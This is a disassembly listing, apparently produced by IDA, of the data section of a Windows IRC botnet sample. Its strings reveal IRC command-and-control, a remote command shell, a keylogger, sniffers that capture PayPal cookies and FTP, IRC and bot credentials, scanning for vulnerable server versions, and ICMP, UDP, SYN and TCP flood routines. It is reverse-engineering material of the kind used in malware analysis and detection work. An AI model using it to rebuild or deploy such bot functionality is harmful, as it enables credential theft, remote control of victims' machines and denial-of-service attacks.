sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 